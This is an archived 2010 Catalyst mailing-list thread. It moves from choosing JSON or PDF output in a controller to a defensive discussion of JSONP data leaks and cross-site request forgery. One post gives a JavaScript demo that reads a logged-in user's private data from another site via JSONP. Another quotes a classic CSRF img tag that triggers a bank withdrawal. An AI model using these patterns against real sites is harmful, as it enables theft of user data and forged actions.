Login | Register For Free | Help
Search for: (Advanced)

Mailing List Archive: Catalyst: Users

Picking template type based on input

 

 

Catalyst users RSS feed   Index | Next | Previous | View Threaded


jon.mlist at gmail

Mar 26, 2010, 2:43 AM

Post #1 of 22 (3134 views)
Permalink
Picking template type based on input

Hi all,
I'm making a small catalyst application and I want to be able to serve
different types of content based on parameters and/or request headers.
I'm curious about where the "correct" location for that kind of code
is, my current sollution is in the Root end like this:

sub end : ActionClass('RenderView') {
...
if ($c->stash->{json} || $c->request->params->{json} ||
$c->req->header('accept') =~ /json/)
{
   $c->stash->{template} = $c->action.'_json.tt';
   $c->res->headers->content_type( 'Application/json; charset=utf-8' );
}
...
}

but it feels "wrong" to put it in the Root controller rather than the
view.  Is this really the place where I'm supposed to have that kind
of logic? Would that also be the place if I want to add pdf out to
pick another View to forward to?

Thanks in advance
Jon

_______________________________________________
List: Catalyst [at] lists
Listinfo: http://lists.scsys.co.uk/cgi-bin/mailman/listinfo/catalyst
Searchable archive: http://www.mail-archive.com/catalyst [at] lists/
Dev site: http://dev.catalyst.perl.org/


bobtfish at bobtfish

Mar 26, 2010, 5:50 AM

Post #2 of 22 (3064 views)
Permalink
Re: Picking template type based on input [In reply to]

Jon mailinglists wrote:
> Hi all,
> I'm making a small catalyst application and I want to be able to serve
> different types of content based on parameters and/or request headers.
> I'm curious about where the "correct" location for that kind of code
> is, my current sollution is in the Root end like this:
>
> sub end : ActionClass('RenderView') {
> ...
> if ($c->stash->{json} || $c->request->params->{json} ||
> $c->req->header('accept') =~ /json/)
> {
> $c->stash->{template} = $c->action.'_json.tt';
> $c->res->headers->content_type( 'Application/json; charset=utf-8' );
> }
> ...
> }

How is generating JSON in template toolkit not 100% insane?

Please use something like Catalyst::View::JSON instead?

> but it feels "wrong" to put it in the Root controller rather than the
> view. Is this really the place where I'm supposed to have that kind
> of logic? Would that also be the place if I want to add pdf out to
> pick another View to forward to?

Yes.

The controller asks the model for some data, and then chooses how to
present that data (whilst the view actually handles the presentation
details.

In the example of a PDF, you'd set $c->stash('current_view' => 'PDF');

Cheers
t0m


_______________________________________________
List: Catalyst [at] lists
Listinfo: http://lists.scsys.co.uk/cgi-bin/mailman/listinfo/catalyst
Searchable archive: http://www.mail-archive.com/catalyst [at] lists/
Dev site: http://dev.catalyst.perl.org/


moseley at hank

Mar 26, 2010, 6:15 AM

Post #3 of 22 (3060 views)
Permalink
Re: Picking template type based on input [In reply to]

On Fri, Mar 26, 2010 at 5:50 AM, Tomas Doran <bobtfish [at] bobtfish> wrote:

>
> The controller asks the model for some data, and then chooses how to
> present that data (whilst the view actually handles the presentation
> details.
>

That means the controllers have to be aware of the view. That is, the
controllers have to know what view is going to be used so that it can fetch
the data needed for that specific view. Is that what you are saying?


--
Bill Moseley
moseley [at] hank


jjn1056 at yahoo

Mar 26, 2010, 8:29 AM

Post #4 of 22 (3059 views)
Permalink
Re: Picking template type based on input [In reply to]

>
>From: Bill Moseley <moseley [at] hank>
>To: The elegant MVC web framework <catalyst [at] lists>
>Sent: Fri, March 26, 2010 9:15:47 AM
>Subject: Re: [Catalyst] Picking template type based on input
>
>
>
>On Fri, Mar 26, 2010 at 5:50 AM, Tomas Doran <bobtfish [at] bobtfish> wrote:
>
>>>
>>
>>
>>The controller asks the model for some data, and then chooses how to present that data (whilst the view actually handles the presentation details.
>>
>
>
>That means the controllers have to be aware of the view. That is, the controllers have to know what view is going to be used so that it can fetch the data needed for that specific view. Is that what you are saying?
>

I think this is an important point. Right now the common method in Catalyst is for a controller to sorta 'gather data' into the stash primarily via models and anything that comes into the system from post or get (and maybe checking the flash or session in so cases). The the controller sort basically lets go of the stash and prays the right thing happens. Usually we have a terminal end action based on RenderView which asks a View object to 'do the right thing', BUT its that view handler making the choice , like the common TT view (and nearly all the other Views do the same thing) which is a handler that dispatches to the underlying view templating system based on information from the context. Its a bit too detached I think.

Here's a problem I just recently had. I'm building a web page which is a gallery of images based on search terms. In the controller I get the incoming raw parameters, convert them to a search term object and if that object is valid I pass it to a method on my DBIC based schema which returns a resultset of images.

Now, this resultset needs to be paged. I also have some rules to interpret the requested page so I can handle cases where someone askes for a page beyond the range available in the actual returned resultset. For that, the controller needs to know the size of the page and number of pages, so I created the paged set inside the controller... but that means my template authors need to change the controller (or a configuration file for that controller) in order to change the page size. To me that is just a display issue, my model and controller should be asking the view object "what do you want?" I think. But right now there is no simple way to do this. Not sure the best solution.

>
>
>
>--
>Bill Moseley
>moseley [at] hank
>




_______________________________________________
List: Catalyst [at] lists
Listinfo: http://lists.scsys.co.uk/cgi-bin/mailman/listinfo/catalyst
Searchable archive: http://www.mail-archive.com/catalyst [at] lists/
Dev site: http://dev.catalyst.perl.org/


jon.mlist at gmail

Mar 26, 2010, 9:31 AM

Post #5 of 22 (3061 views)
Permalink
Re: Picking template type based on input [In reply to]

On Fri, Mar 26, 2010 at 1:50 PM, Tomas Doran <bobtfish [at] bobtfish> wrote:
> Jon mailinglists wrote:
>>
>> Hi all,
>> [snip]
>
> How is generating JSON in template toolkit not 100% insane?
>
> Please use something like Catalyst::View::JSON instead?
>

To be honest I haven't tried it but seeing you're involved in it I
understand that stance :)

I don't think Catalyst::View::JSON would help me though since I need
to send "YUI JSON", ie:
MyNamespace.callback({"ResultSet":{

Which would force me to do make changes in the result anyway, and a
few loops in a tt2 file isn't that much of a problem.

>> but it feels "wrong" to put it in the Root controller rather than the
>> view. Is this really the place where I'm supposed to have that kind
>> of logic? Would that also be the place if I want to add pdf out to
>> pick another View to forward to?
>
> Yes.
>
> The controller asks the model for some data, and then chooses how to present
> that data (whilst the view actually handles the presentation details.
>
> In the example of a PDF, you'd set $c->stash('current_view' => 'PDF');
>

When you say "and then chooses how to present that data" I take it's
in a very limited way it gets to choose? I mean the templates tend to
(at least in my case) have a few loops and if/else in them.

To me it makes more for the Controller to ask the Model for data, do
logic and put it in the stash and then tell the View. "Here's your
data, apply your limited logic to it and render a nice output."

Regarding PDF/XML/JSON/HTML/text/whatever as output I would very much
prefer the View to make that decision. IE a View super module seing
the parameters/accept and telling the right sub View to deal with it.

That doesn't seems to be the general idea though?

_______________________________________________
List: Catalyst [at] lists
Listinfo: http://lists.scsys.co.uk/cgi-bin/mailman/listinfo/catalyst
Searchable archive: http://www.mail-archive.com/catalyst [at] lists/
Dev site: http://dev.catalyst.perl.org/


jshirley at gmail

Mar 26, 2010, 10:03 AM

Post #6 of 22 (3059 views)
Permalink
Re: Picking template type based on input [In reply to]

On Fri, Mar 26, 2010 at 9:31 AM, Jon mailinglists <jon.mlist [at] gmail> wrote:
> On Fri, Mar 26, 2010 at 1:50 PM, Tomas Doran <bobtfish [at] bobtfish> wrote:
>> Jon mailinglists wrote:
>>>
>>> Hi all,
>>> [snip]
>>
>> How is generating JSON in template toolkit not 100% insane?
>>
>> Please use something like Catalyst::View::JSON instead?
>>
>
> To be honest I haven't tried it but seeing you're involved in it I
> understand that stance :)
>
> I don't think Catalyst::View::JSON would help me though since I need
> to send "YUI JSON", ie:
> MyNamespace.callback({"ResultSet":{
>

That's not "YUI JSON", that's just a JSON callback which
Catalyst::View::JSON supports just fine (see the CONFIG section of the
Catalyst::View::JSON docs).


> Which would force me to do make changes in the result anyway, and a
> few loops in a tt2 file isn't that much of a problem.
>

I use JSON callbacks frequently, with YUI, and find that decorating
the resulting hash with pagination and then using
DBIx::Class::ResultClass::HashRefInflator everything works remarkably
well, without any munging.


-J

_______________________________________________
List: Catalyst [at] lists
Listinfo: http://lists.scsys.co.uk/cgi-bin/mailman/listinfo/catalyst
Searchable archive: http://www.mail-archive.com/catalyst [at] lists/
Dev site: http://dev.catalyst.perl.org/


jon.mlist at gmail

Mar 26, 2010, 1:55 PM

Post #7 of 22 (3056 views)
Permalink
Re: Picking template type based on input [In reply to]

On Fri, Mar 26, 2010 at 6:03 PM, J. Shirley <jshirley [at] gmail> wrote:
> On Fri, Mar 26, 2010 at 9:31 AM, Jon mailinglists <jon.mlist [at] gmail> wrote:
>> On Fri, Mar 26, 2010 at 1:50 PM, Tomas Doran <bobtfish [at] bobtfish> wrote:
>>> Jon mailinglists wrote:
>>>>
>>>> Hi all,
>>>> [snip]
>>>
>>> How is generating JSON in template toolkit not 100% insane?
>>>
>>> Please use something like Catalyst::View::JSON instead?
>>>
>>
>> To be honest I haven't tried it but seeing you're involved in it I
>> understand that stance :)
>>
>> I don't think Catalyst::View::JSON would help me though since I need
>> to send "YUI JSON", ie:
>> MyNamespace.callback({"ResultSet":{
>>
>
> That's not "YUI JSON", that's just a JSON callback which
> Catalyst::View::JSON supports just fine (see the CONFIG section of the
> Catalyst::View::JSON docs).
>

I read a bit more about it just after sending the mail, it does indeed
seem to do what I want.

>
>> Which would force me to do make changes in the result anyway, and a
>> few loops in a tt2 file isn't that much of a problem.
>>
>
> I use JSON callbacks frequently, with YUI, and find that decorating
> the resulting hash with pagination and then using
> DBIx::Class::ResultClass::HashRefInflator everything works remarkably
> well, without any munging.
>

Great, thanks for the tip. I'll look into that.

A bit OT but:
Is there any built in XSS protection built in some module in Catalyst?
I was thinking something like auth tokens one can add to the html only
known by the server and the loaded page, to protect private data sent
by JSON. Or isn't that secure enough?

_______________________________________________
List: Catalyst [at] lists
Listinfo: http://lists.scsys.co.uk/cgi-bin/mailman/listinfo/catalyst
Searchable archive: http://www.mail-archive.com/catalyst [at] lists/
Dev site: http://dev.catalyst.perl.org/


moseley at hank

Mar 26, 2010, 2:36 PM

Post #8 of 22 (3053 views)
Permalink
Re: Picking template type based on input [In reply to]

>
> A bit OT but:
> Is there any built in XSS protection built in some module in Catalyst?
> I was thinking something like auth tokens one can add to the html only
> known by the server and the loaded page, to protect private data sent
> by JSON. Or isn't that secure enough?
>

You have an example of what you need to protect against?

If you are sending a JSON response to the client it's not really "private"
-- any more than the html response. Guess, I don't understand your
concern.


--
Bill Moseley
moseley [at] hank


jon.mlist at gmail

Mar 26, 2010, 3:52 PM

Post #9 of 22 (3058 views)
Permalink
Re: Picking template type based on input [In reply to]

On Fri, Mar 26, 2010 at 10:36 PM, Bill Moseley <moseley [at] hank> wrote:
>> A bit OT but:
>> Is there any built in XSS protection built in some module in Catalyst?
>> I was thinking something like auth tokens one can add to the html only
>> known by the server and the loaded page, to protect private data sent
>> by JSON. Or isn't that secure enough?
>
> You have an example of what you need to protect against?
> If you are sending a JSON response to the client it's not really "private"
> -- any more than the html response.   Guess, I don't understand your
> concern.

User data for instance, say I have an application which is password
protected and I'm using the Authenticate/Authorize model coming with
Catalyst. I then protect the user data with a session cookie making
sure $c->user->address is shown and editable by the logged in user
(based on the thought that only the user can send me the cookie).

How do I protect that from another site with another tab? YUI.Get
allows cross site requests, I haven't looked in too deep into it but
when I take the url I see the javascript requests in gmail does and
put it in a small YUI snippet will I get all my mail:
https://mail.google.com/mail/?ui=2&ik=a_secret_token_or_my_id&view=tl&start=0&num=70&rt=h&search=drafts&zx=a_secret_token_or_my_id

I've obviously removed the one or two variables google use to protect
my data, which prevents another tab from actually getting more than my
labels. Obviously what google has done here is using these tokens to
protect me. If I don't use tokens (or some other scheme) can another
site easily do the request to gmail and fetch all my mail, my contacts
etc all because the browser allows a cross site script running and
using the original cookies.

To me it seems cookies (at least in FF 3.5.8) aren't worth anything to
make sure the request is from a logged in user and not some random
site the user has gone to while having a valid cookie. Or am I overly
paranoid?

If I'm not paranoid I'd like to do somthing like this in
some_header.tt (or in a sandboxed YUI context):
var GLOBAL_TOKEN = "[% c->auth_token %]";

and then in every request dealing with something I only want a logged
in user to have access to require it to match what I've stored server
side for this session.

And again, I'm no security expert and this with javascript/browser
lack of security is fairly new to me so I'm not at all betting my
dirty undies that I'm correct. I'd be a lot happier if I'm not since
this would add a lot of hassle.

_______________________________________________
List: Catalyst [at] lists
Listinfo: http://lists.scsys.co.uk/cgi-bin/mailman/listinfo/catalyst
Searchable archive: http://www.mail-archive.com/catalyst [at] lists/
Dev site: http://dev.catalyst.perl.org/


diment at gmail

Mar 26, 2010, 11:17 PM

Post #10 of 22 (3031 views)
Permalink
Re: Picking template type based on input [In reply to]

[reposting something that accidentally went off list]

>
> On 26 Mar 2010, at 22:50, Kieren Diment wrote:
>
>> On 26/03/2010, at 11:50 PM, Tomas Doran wrote:
>>>
>>> How is generating JSON in template toolkit not 100% insane?
>>>
>>> Please use something like Catalyst::View::JSON instead?
>>>
>>
>>
>> Only 99.9% insane.
>>
>> e.g.:
>>
>> <input type="hidden" name="orig_search" value='[% USE JSON; c.req.params.tag.json %]'>
>>
>> Which works OK if you need some kind of data structure in the URL, but amost all the time this is obviously completely mad.
>
> Good exception which proves the rule :_)
>
> You know that was off list, right?
>
> Cheers
> t0m
>


_______________________________________________
List: Catalyst [at] lists
Listinfo: http://lists.scsys.co.uk/cgi-bin/mailman/listinfo/catalyst
Searchable archive: http://www.mail-archive.com/catalyst [at] lists/
Dev site: http://dev.catalyst.perl.org/


moseley at hank

Mar 27, 2010, 8:09 AM

Post #11 of 22 (3017 views)
Permalink
Re: Picking template type based on input [In reply to]

Hi,

Sorry, I'm having a hard time understanding what you wrote below. Do you
have a specific attack vector you are concerned with or just a general
concern to protect against cross site scripting?

Perhaps you could provide a specific example or link to an example we can
review if it's something specific.
Maybe someone else can respond if you have a specific attack in question.

If it's a general concern then the answer is you make safe all user data
that is reflected back to the user or any other users.

Other comments below:


On Fri, Mar 26, 2010 at 3:52 PM, Jon mailinglists <jon.mlist [at] gmail>wrote:

> User data for instance, say I have an application which is password
> protected and I'm using the Authenticate/Authorize model coming with
> Catalyst. I then protect the user data with a session cookie making
> sure $c->user->address is shown and editable by the logged in user
> (based on the thought that only the user can send me the cookie).
>

Untangling that, I think you are concerned that a user could modify their
"address" and have it reflected (displayed) back to them. And if that
"address" is not correctly sanitized (escaped) then there's risk of cross
site scripting. Is that correct?

The general answer there is, again, never reflect user-entered data without
escaping.


> How do I protect that from another site with another tab? YUI.Get
> allows cross site requests, I haven't looked in too deep into it but
> when I take the url I see the javascript requests in gmail does and
> put it in a small YUI snippet will I get all my mail:
>
> https://mail.google.com/mail/?ui=2&ik=a_secret_token_or_my_id&view=tl&start=0&num=70&rt=h&search=drafts&zx=a_secret_token_or_my_id


Lost me there. What is your concern with another tab? Browser should not
allow one tab to run script in the context of another tab.

>From what I understand, YUI.Get simply allows dynamically fetching content
from third-party sites (just like you can with markup in your page). That's
not a security risk itself, unless you are fetching from an untrusted
third-party site.

You would have to add the YUI.Get code in the first place to your own page
so it's not really cross site scripting if it's your own script that is
running.

Sorry, I don't understand your last half a sentence about gmail. (Although,
I've often wondered about their auth mechanism.)

<...>

And again, I'm no security expert and this with javascript/browser

lack of security is fairly new to me so I'm not at all betting my

dirty undies that I'm correct. I'd be a lot happier if I'm not since

this would add a lot of hassle.


I'm not a security expert, either. This may be the wrong list for security
experts.

But, in general, off the top of my head the standard recommendations
include:

- Use cookies for your auth token. Avoid more complex schemes for
passing tokens around.
- Use SSL if your site needs to protect private data and user confidence.
- Change session ids upon authorization or switch to SSL.
- Use secure cookies (only returned over SSL).
- Use HttpOnly cookies (prevents cookie access in most clients).
- Escape all reflected user data.
- Avoid creating pages that allow users to enter (and reflect) markup.

I'm sure there's others that people here can recommend.


--
Bill Moseley
moseley [at] hank


jon.mlist at gmail

Mar 28, 2010, 7:12 AM

Post #12 of 22 (2929 views)
Permalink
Re: Picking template type based on input [In reply to]

Hi

Top posting, don't rip my head off.

I'll try explaining a bit better. English isn't my first language and
it can be a bit hard explaining too abstract things sometimes. So a
more hands on try coming up:

In my catalyst app I have this sub (not really, but this makes things
easier to follow):

sub get_info : Local {
my ($self, $c) = @_;

my $info = $c->user->member_info;
my $res = 'MyNamespace.callback({"ResultSet":{"totalResultsAvailable":"73399","firstResultPosition":"0","totalResultsReturned":"20","Result":[{"Title":"'.$info->get_column('first_name').'
'.$info->get_column('last_name').'","zip_code":"'.$info->get_column('areacode').'"}]}});';
$c->response->body($res);
}

One has to be logged in, and one obviously is seeing that $c->user is set.

If I now on another domain put this html/js:
<div id="container"><button id="siteExplorerData">Click
me</button><div id="results"></div></div>

function(Y) {
MyNamespace = YUI.namespace('example.SiteExplorer');
var elResults = Y.one("#results"),
tIds = {},
loading = false,
current = null;
var onSiteExplorerSuccess = function(o) {
// stop blocking requests
loading = false;
};

var onSiteExplorerFailure = function(o) {};
var onSiteExplorerTimeout = function(o) {};
var getSiteExplorerData = function() {
if (loading) {
return;
}
loading = true;

//prepare the URL for the Yahoo Site Explorer API:
var sURL = "http://MY-CATALYST-SERVER:3000/member/get_info";
var transactionObj = Y.Get.script(sURL, {
onSuccess: onSiteExplorerSuccess,
onFailure: onSiteExplorerFailure,
onTimeout: onSiteExplorerTimeout,
timeout: 20000,
context: Y
});
current = transactionObj.tId;
};

MyNamespace.callback = function(results) {
var aResults = results.ResultSet.Result;
tIds[current] = true;
var html = "<b>FAILED</b>"
if(aResults)
html ="<li><strong>" + aResults[0].full_name + " lives in "
+ aResults[0].zip_code + "</strong></li>";
//insert string into DOM:
elResults.set('innerHTML', html);
};

//suppress default form behavior
Y.get("#siteExplorerData").on("click", getSiteExplorerData);

});

(it's basically this YUI example:
http://developer.yahoo.com/yui/3/examples/get/get-script-basic.html)

I then login to my application in one tab, and in another tab access
this js/html. That will give back the data about me since I've got a
valid session which gets sent to my catalyst server. That means
evilempire.com has access to my logged in users data, and that's what
I want to protect them from. XSS from another site.

That's why I was talking auth tokens or some other means of protection.

I suppose more people have thought of that, and this isn't really
Catalyst specific but very general. What I wonder though is if there's
any built in mechanism to protect from that since if I haven't got it
all wrong are cookie based sessions pretty much useless as security.

Was this easier to follow?

/Jon

On Sat, Mar 27, 2010 at 5:09 PM, Bill Moseley <moseley [at] hank> wrote:
> Hi,
>
> Sorry, I'm having a hard time understanding what you wrote below.  Do you
> have a specific attack vector you are concerned with or just a general
> concern to protect against cross site scripting?
> Perhaps you could provide a specific example or link to an example we can
> review if it's something specific.
> Maybe someone else can respond if you have a specific attack in question.
> If it's a general concern then the answer is you make safe all user data
> that is reflected back to the user or any other users.
> Other comments below:
>
> On Fri, Mar 26, 2010 at 3:52 PM, Jon mailinglists <jon.mlist [at] gmail>
> wrote:
>>
>> User data for instance, say I have an application which is password
>> protected and I'm using the Authenticate/Authorize model coming with
>> Catalyst. I then protect the user data with a session cookie making
>> sure $c->user->address is shown and editable by the logged in user
>> (based on the thought that only the user can send me the cookie).
>
> Untangling that, I think you are concerned that a user could modify their
> "address" and have it reflected (displayed) back to them.  And if that
> "address" is not correctly sanitized (escaped) then there's risk of cross
> site scripting.   Is that correct?
>
> The general answer there is, again, never reflect user-entered data without
> escaping.
>
>>
>> How do I protect that from another site with another tab? YUI.Get
>> allows cross site requests, I haven't looked in too deep into it but
>> when I take the url I see the javascript requests in gmail does and
>> put it in a small YUI snippet will I get all my mail:
>>
>> https://mail.google.com/mail/?ui=2&ik=a_secret_token_or_my_id&view=tl&start=0&num=70&rt=h&search=drafts&zx=a_secret_token_or_my_id
>
> Lost me there.  What is your concern with another tab?  Browser should not
> allow one tab to run script in the context of another tab.
> From what I understand, YUI.Get simply allows dynamically fetching content
> from third-party sites (just like you can with markup in your page).  That's
> not a security risk itself, unless you are fetching from an untrusted
> third-party site.
> You would have to add the YUI.Get code in the first place to your own page
> so it's not really cross site scripting if it's your own script that is
> running.
> Sorry, I don't understand your last half a sentence about gmail.  (Although,
> I've often wondered about their auth mechanism.)
>  <...>
>>
>> And again, I'm no security expert and this with javascript/browser
>>
>> lack of security is fairly new to me so I'm not at all betting my
>>
>> dirty undies that I'm correct. I'd be a lot happier if I'm not since
>>
>> this would add a lot of hassle.
>
> I'm not a security expert, either.  This may be the wrong list for security
> experts.
> But, in general, off the top of my head the standard recommendations
> include:
>
> Use cookies for your auth token.  Avoid more complex schemes for passing
> tokens around.
> Use SSL if your site needs to protect private data and user confidence.
> Change session ids upon authorization or switch to SSL.
> Use secure cookies (only returned over SSL).
> Use HttpOnly cookies (prevents cookie access in most clients).
> Escape all reflected user data.
> Avoid creating pages that allow users to enter (and reflect) markup.
>
> I'm sure there's others that people here can recommend.
>
> --
> Bill Moseley
> moseley [at] hank
>
> _______________________________________________
> List: Catalyst [at] lists
> Listinfo: http://lists.scsys.co.uk/cgi-bin/mailman/listinfo/catalyst
> Searchable archive: http://www.mail-archive.com/catalyst [at] lists/
> Dev site: http://dev.catalyst.perl.org/
>
>

_______________________________________________
List: Catalyst [at] lists
Listinfo: http://lists.scsys.co.uk/cgi-bin/mailman/listinfo/catalyst
Searchable archive: http://www.mail-archive.com/catalyst [at] lists/
Dev site: http://dev.catalyst.perl.org/


moseley at hank

Mar 28, 2010, 2:41 PM

Post #13 of 22 (2904 views)
Permalink
Re: Picking template type based on input [In reply to]

On Sun, Mar 28, 2010 at 7:12 AM, Jon mailinglists <jon.mlist [at] gmail>wrote:

> In my catalyst app I have this sub (not really, but this makes things
> easier to follow):
>
> sub get_info : Local {
> my ($self, $c) = @_;
>
> my $info = $c->user->member_info;
> my $res =
> 'MyNamespace.callback({"ResultSet":{"totalResultsAvailable":"73399","firstResultPosition":"0","totalResultsReturned":"20","Result":[{"Title":"'.$info->get_column('first_name').'
>
> '.$info->get_column('last_name').'","zip_code":"'.$info->get_column('areacode').'"}]}});';
> $c->response->body($res);
> }
>

I think I get it now. I first thought you were talking about users adding
javascript to pages you render -- that is, allowing someone to inject script
onto your pages.

(I'm hoping someone will jump in an correct anything I say wrong here --
which often seems like the best way to get a response here...)

I think the short answer is, don't return JSONP -- don't return JSON wrapped
in a function call. That's a way to bypass security provided by the
same-origin policy.

Let me restate what I think you are saying:


1. The "good site" (MY-CATALYST-SERVER in your example) returns the JSONP
above as long as the user is logged in. By "logged in" that means the
request includes a valid session id in the cookie.
2. In another tab of the same browser when viewing a page from "
evil_empire.com" a request is made to
http://MY-CATALYST-SERVER:3000/member/get_info.
3. That request will include the cookie required to gain access (and thus
return private user data).
4. Javascript is returned that includes a call to a function passing the
user's private data to that function.
5. evil_empire.com now has access to the user's name and zip code.

Yes, this is true. This is a security hole. But by returning JSONP you
gave away this access.

JSONP is "application/javascript" -- and as such it can be loaded from any
domain. Loading javascript is not limited by same-origin policy. (If it
was then Content Delivery Networks would be of limited use.).

Note, this has nothing to do with YUI.Get. evil_empire.com just needs to
add a <script> tag to their page to fetch the JSONP from your app. YUI.Get
just provides a dynamic way to accomplish that.

Your application should only return data via JSON, not JSONP. For a script
to read JSON data it needs to use XMLHttpRequest and that request is limited
by the same-origin policy. That is, javascript running on evil_empire.com's
page cannot do an AJAX request to your catalyst application.

Hopefully, that's clear -- and correct. ;)


--
Bill Moseley
moseley [at] hank


bobtfish at bobtfish

Mar 28, 2010, 3:13 PM

Post #14 of 22 (2905 views)
Permalink
Re: Picking template type based on input [In reply to]

On 28 Mar 2010, at 15:12, Jon mailinglists wrote:
> I then login to my application in one tab, and in another tab access
> this js/html. That will give back the data about me since I've got a
> valid session which gets sent to my catalyst server. That means
> evilempire.com has access to my logged in users data, and that's what
> I want to protect them from. XSS from another site.

Is that not XSRF, rather than XSS?

> That's why I was talking auth tokens or some other means of
> protection.

A guess so, given that auth tokens are an XSRF protection really :)

> I suppose more people have thought of that, and this isn't really
> Catalyst specific but very general. What I wonder though is if there's
> any built in mechanism to protect from that since if I haven't got it
> all wrong are cookie based sessions pretty much useless as security.

There are a number of pre-baked solutions to this on CPAN / in various
form systems.

That said, there is no generic thing you can plug into an arbitrary
Catalyst application which will try to protect you.

It would be possible to parse the HTML your app output, add an extra
hidden field to any forms you had generated in the page, and then look
for a previously generated token and redirect / refuse the request if
it wasn't present.

However this would obviously not catch forms generated purely from
Javascript (and a number of other cases), and so I'm somewhat doubtful
of its value in more complex applications. I can certainly remember
the stuff which tries to achieve this that is baked into Rails making
me scream :)

That said - the wiki could very much benefit from a few pages which
clearly explained the issue(s) surrounding XSS and XSRF in more
detail, along with a rundown of what various form systems provide to
mitigate these issues (and any other more generic modules available).

Would you be prepared to write (even some) of this - given you seem to
already be doing the research?

> Was this easier to follow?

Yes. I thought that's what you meant the first time round, but I
wasn't sure, and so I decided to wait for clarification (as other
people had already replied when I saw your first mail).

Cheers
t0m


_______________________________________________
List: Catalyst [at] lists
Listinfo: http://lists.scsys.co.uk/cgi-bin/mailman/listinfo/catalyst
Searchable archive: http://www.mail-archive.com/catalyst [at] lists/
Dev site: http://dev.catalyst.perl.org/


bobtfish at bobtfish

Mar 28, 2010, 3:16 PM

Post #15 of 22 (2903 views)
Permalink
Re: Picking template type based on input [In reply to]

On 28 Mar 2010, at 22:41, Bill Moseley wrote:
> Hopefully, that's clear -- and correct. ;)

Yes, I think so - in the reply I just sent to the list to this thread
I had entirely neglected to notice that the main issue is the JSONP
thing, rather than the general case of XSRF.

Not to say that the latter isn't a problem worth thinking about, but
in the case illustrated it's clearly the JSONP which is the issue.

Thanks for reading/analyzing in more detail than I managed to :(

Cheers
t0m


_______________________________________________
List: Catalyst [at] lists
Listinfo: http://lists.scsys.co.uk/cgi-bin/mailman/listinfo/catalyst
Searchable archive: http://www.mail-archive.com/catalyst [at] lists/
Dev site: http://dev.catalyst.perl.org/


moseley at hank

Mar 28, 2010, 5:06 PM

Post #16 of 22 (2895 views)
Permalink
Re: Picking template type based on input [In reply to]

On Sun, Mar 28, 2010 at 3:13 PM, Tomas Doran <bobtfish [at] bobtfish> wrote:

Speaking of XSRF:


> It would be possible to parse the HTML your app output, add an extra hidden
> field to any forms you had generated in the page, and then look for a
> previously generated token and redirect / refuse the request if it wasn't
> present.
>

I do this -- every POST must include token, and the token can only be used
once. That means the the form must be fetched before bing posted (to
generate the token).

I'm not sure I understand XSRF enough to know if there's a way to get around
the token (or trick the browser into doing a POST for, say, and <img>.

And for a SSL only site that requires login, I'm also not so sure the token
requirement helps that much for security. The original purpose was to slow
down form spamming and to prevent double-posting of forms.

The tokesn don't work so well with an API, of course, but XSRF needs a
browser, AFAIK (hard to trick a user of an API into making a request..)



> However this would obviously not catch forms generated purely from
> Javascript (and a number of other cases), and so I'm somewhat doubtful of
> its value in more complex applications. I can certainly remember the stuff
> which tries to achieve this that is baked into Rails making me scream :)
>

I'm not clear how javascript is an issue here, unless the attacker has
injected javascript into my site.

The example on Wikipedia for XSRF is to add a link to your bank on the
attackers site, which you view:
<img src="
http://bank.example/withdraw?account=bob&amount=1000000&for=mallory">

Which is a pretty bad bank that allows that. A third-party (evil) page can
include the above and force a GET request that is not noticed, but to make a
POST it would have to have a form where the response is from the bank. That
is, you would see the bank's response page. Can't do it via an AJAX request
because of the same-origin policy.

Slippery stuff.



--
Bill Moseley
moseley [at] hank


bobtfish at bobtfish

Mar 28, 2010, 6:05 PM

Post #17 of 22 (2898 views)
Permalink
Re: Picking template type based on input [In reply to]

On 29 Mar 2010, at 01:06, Bill Moseley wrote:
>
> I do this -- every POST must include token, and the token can only
> be used once. That means the the form must be fetched before bing
> posted (to generate the token).

Have anything generic you'd care to share? :)

>
> However this would obviously not catch forms generated purely from
> Javascript (and a number of other cases), and so I'm somewhat
> doubtful of its value in more complex applications. I can certainly
> remember the stuff which tries to achieve this that is baked into
> Rails making me scream :)
>
> I'm not clear how javascript is an issue here, unless the attacker
> has injected javascript into my site.

The issue is that if you're generating a form in javascript, and
submitting it in javascript, then something finding forms in the page
output (and adding a token automatically), which was what I initially
suggested - would fail to find the form, and ergo you'd have an issue :)

(i.e. it couldn't 'just work automatically' in that case without the
application collaborating in some manor).

Cheers
t0m


_______________________________________________
List: Catalyst [at] lists
Listinfo: http://lists.scsys.co.uk/cgi-bin/mailman/listinfo/catalyst
Searchable archive: http://www.mail-archive.com/catalyst [at] lists/
Dev site: http://dev.catalyst.perl.org/


moseley at hank

Mar 28, 2010, 7:20 PM

Post #18 of 22 (2887 views)
Permalink
Re: Picking template type based on input [In reply to]

On Sun, Mar 28, 2010 at 6:05 PM, Tomas Doran <bobtfish [at] bobtfish> wrote:

>
> On 29 Mar 2010, at 01:06, Bill Moseley wrote:
>
>>
>> I do this -- every POST must include token, and the token can only be used
>> once. That means the the form must be fetched before bing posted (to
>> generate the token).
>>
>
> Have anything generic you'd care to share? :)


Nothing generic -- and it's not rocket science, either. Or very glamorous.
I simply have a template macro for creating my <form> tag which also
includes the hidden field with the token id.

Then part of form validation processed used for every post I check that the
token was provided and is valid. The token is either in the database or in
memcached. (I have a form_posted() method that does this check, along check
for the correct method (PUT or POST) .)




> The issue is that if you're generating a form in javascript, and submitting
> it in javascript, then something finding forms in the page output (and
> adding a token automatically), which was what I initially suggested - would
> fail to find the form, and ergo you'd have an issue :)
>
> (i.e. it couldn't 'just work automatically' in that case without the
> application collaborating in some manor).


I think I get it.

Thanks,


>
> --
Bill Moseley
moseley [at] hank


jon.mlist at gmail

Mar 29, 2010, 2:12 AM

Post #19 of 22 (2861 views)
Permalink
Re: Picking template type based on input [In reply to]

On Mon, Mar 29, 2010 at 12:13 AM, Tomas Doran <bobtfish [at] bobtfish> wrote:
>
> On 28 Mar 2010, at 15:12, Jon mailinglists wrote:
>>
>> I then login to my application in one tab, and in another tab access
>> this js/html. That will give back the data about me since I've got a
>> valid session which gets sent to my catalyst server. That means
>> evilempire.com has access to my logged in users data, and that's what
>> I want to protect them from. XSS from another site.
>
> Is that not XSRF, rather than XSS?
>

It seems like it is. I just stumbled upon this when checking out YUI
3, and had managed to stay oblivious to this problem before. I then
went on with checking if one could make an attack that way and got a
bit scared by the results and asked here. Classic case of reinventing
wheels. I called it XSS because I figured it was scripts running
across sites, but apparently this is XSRF as you said.

Thanks for the patience and decoding :)


>> That's why I was talking auth tokens or some other means of protection.
>
> A guess so, given that auth tokens are an XSRF protection really :)
>
>> I suppose more people have thought of that, and this isn't really
>> Catalyst specific but very general. What I wonder though is if there's
